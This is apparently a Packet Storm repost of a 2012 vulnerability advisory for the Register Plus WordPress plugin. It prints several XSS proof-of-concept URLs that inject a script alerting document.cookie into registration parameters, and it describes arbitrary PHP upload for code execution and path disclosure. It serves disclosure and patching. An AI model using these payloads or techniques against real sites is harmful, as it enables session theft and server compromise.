what you don't know can hurt you

Register Plus 3.5.1 Cross Site Scripting / Code Execution

Register Plus 3.5.1 Cross Site Scripting / Code Execution
Posted Jan 26, 2012
Authored by MustLive

Register Plus versions 3.5.1 and below for WordPress suffer from code execution, cross site scripting and path disclosure vulnerabilities.

tags | exploit, vulnerability, code execution, xss
MD5 | 719992bc7507af6bc667c58318c7c250

Register Plus 3.5.1 Cross Site Scripting / Code Execution

Change Mirror Download
Hello list!

I want to warn you about multiple new vulnerabilities in plugin Register
Plus for WordPress.

These are Cross-Site Scripting, Code Execution and Full path disclosure
vulnerabilities.

-------------------------
Affected products:
-------------------------

Vulnerable are Register Plus 3.5.1 and previous versions.

Taking into account, that this plugin is no more supported by developer,
then users of the plugin need to fix these holes by themselves. Or to update
this plugin to version of Register Plus Redux with fixed vulnerabilities.
Which I've told about in previous advisory
(http://securityvulns.com/docs27545.html).

----------
Details:
----------

XSS (WASC-08):

By using function Autocomplete URL it's possible to conduct attack via GET:

http://site/wp-login.php?action=register&firstname=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/wp-login.php?action=register&lastname=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/wp-login.php?action=register&website=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/wp-login.php?action=register&aim=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/wp-login.php?action=register&yahoo=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/wp-login.php?action=register&jabber=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/wp-login.php?action=register&about=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/wp-login.php?action=register&regcode=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Vulnerable are all those parameters, as at POST request. Which I've told
about earlier (http://websecurity.com.ua/4539/).

Persistent XSS (WASC-08):

If to set XSS code as file name (e.g. it's possible to create such file on
Linux and Unix systems) and to upload it, the code will execute at pages
http://site/wp-admin/options-general.php?page=register-plus and
http://site/wp-login.php?action=register.

Code Execution (WASC-31):

If to have access to plugin settings, it's possible to conduct Code
Execution (in field Custom Logo) via uploading of file with arbitrary
extension (e.g. PHP). For attack it's possible to upload just 1.php (unlike
Register Plus Redux, where it's not possible and bypass techniques need to
be used). This is because own uploader is using, not built-in WordPress.

Full path disclosure (WASC-13):

At turned on plugin's option "Enable Invitation Tracking Dashboard Widget"
the full path at the server will be shown at page
http://site/wp-admin/index.php.

------------
Timeline:
------------

2011.11.25 - found vulnerabilities in Register Plus Redux.
2011.11.25 - found vulnerabilities in Register Plus.
2011.11.30 - fixed vulnerabilities in Register Plus Redux.
2011.11.30 - released Register Plus Redux 3.8 (with fixed all
vulnerabilities of version 3.7.3.1). Which I recommend to use instead of
Register Plus.
2011.12.06 - announced at my site.
2011.12.08 - informed developer.
2012.01.26 - disclosed at my site.

I mentioned about these vulnerabilities at my site:
http://websecurity.com.ua/5547/

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    16 Files
  • 18
    Sep 18th
    8 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close